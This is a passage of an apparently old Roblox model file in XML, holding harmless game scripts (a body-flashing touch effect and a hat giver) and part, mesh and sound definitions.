part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(2)

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0


wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(1)


wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0


	end
	end

end

script.Parent.Touched:connect(onTouched)
</string>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX2151">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">37uaea2t</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX2152">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">eyhz</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Model" referent="RBX2153">
			<Properties>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Model" referent="RBX2154">
				<Properties>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Model</string>
					<Ref name="PrimaryPart">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Part" referent="RBX2155">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">102</int>
						<CoordinateFrame name="CFrame">
							<X>-87.5</X>
							<Y>7</Y>
							<Z>28</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.400000006</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>7</X>
							<Y>1.20000005</Y>
							<Z>6</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX2156">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-87.5</X>
							<Y>3</Y>
							<Z>27.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Handle</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX2157">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><url>http://www.roblox.com/asset/?id=10913794</url></Content>
							<token name="MeshType">5</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>0.75</X>
								<Y>0.75</Y>
								<Z>0.75</Z>
							</Vector3>
							<Content name="TextureId"><url>http://www.roblox.com/asset/?id=10913771</url></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX2158">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Script</string>
							<string name="Source">-- (Hat Giver Script - Loaded.)

debounce = true

function onTouched(hit)
	if (hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil and debounce == true) then
		debounce = false
		h = Instance.new(&quot;Hat&quot;)
		p = Instance.new(&quot;Part&quot;)
		h.Name = &quot;GreenTopHat&quot;
		p.Parent = h
		p.Position = hit.Parent:findFirstChild(&quot;Head&quot;).Position
		p.Name = &quot;Handle&quot; 
		p.formFactor = 0
		p.Size = Vector3.new(0,-0.25,0) 
		p.BottomSurface = 0 
		p.TopSurface = 0 
		p.Locked = true 
		script.Parent.Mesh:clone().Parent = p
		h.Parent = hit.Parent
		h.AttachmentPos = Vector3.new(0,-.88,0.05)
		wait(5)
		debounce = true
	end
end

script.Parent.Touched:connect(onTouched)

</string>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX2159">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">jqvc5</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX2160">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">iq68am1cr</string>
									<string name="Source"></string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
				</Item>
				<Item class="Model" referent="RBX2161">
					<Properties>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Model</string>
						<Ref name="PrimaryPart">null</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Part" referent="RBX2162">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">102</int>
							<CoordinateFrame name="CFrame">
								<X>-87.5</X>
								<Y>4.5999999</Y>
								<Z>30.5</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0.400000006</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>7</X>
								<Y>3.60000014</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX2163">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">102</int>
							<CoordinateFrame name="CFrame">
								<X>-90.5</X>
								<Y>4.5999999</Y>
								<Z>28</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0.400000006</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>3.60000014</Y>
								<Z>4</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX2164">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">105</int>
							<CoordinateFrame name="CFrame">
								<X>-87.5</X>
								<Y>1.60000002</Y>
								<Z>28</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">512</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>7</X>
								<Y>2.4000001</Y>
								<Z>6</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX2165">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">102</int>
							<CoordinateFrame name="CFrame">
								<X>-84.5</X>
								<Y>4.5999999</Y>
								<Z>28</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0.400000006</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>3.60000014</Y>
								<Z>4</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX2166">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">102</int>
							<CoordinateFrame name="CFrame">
								<X>-87.5</X>
								<Y>4.5999999</Y>
								<Z>25.5</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
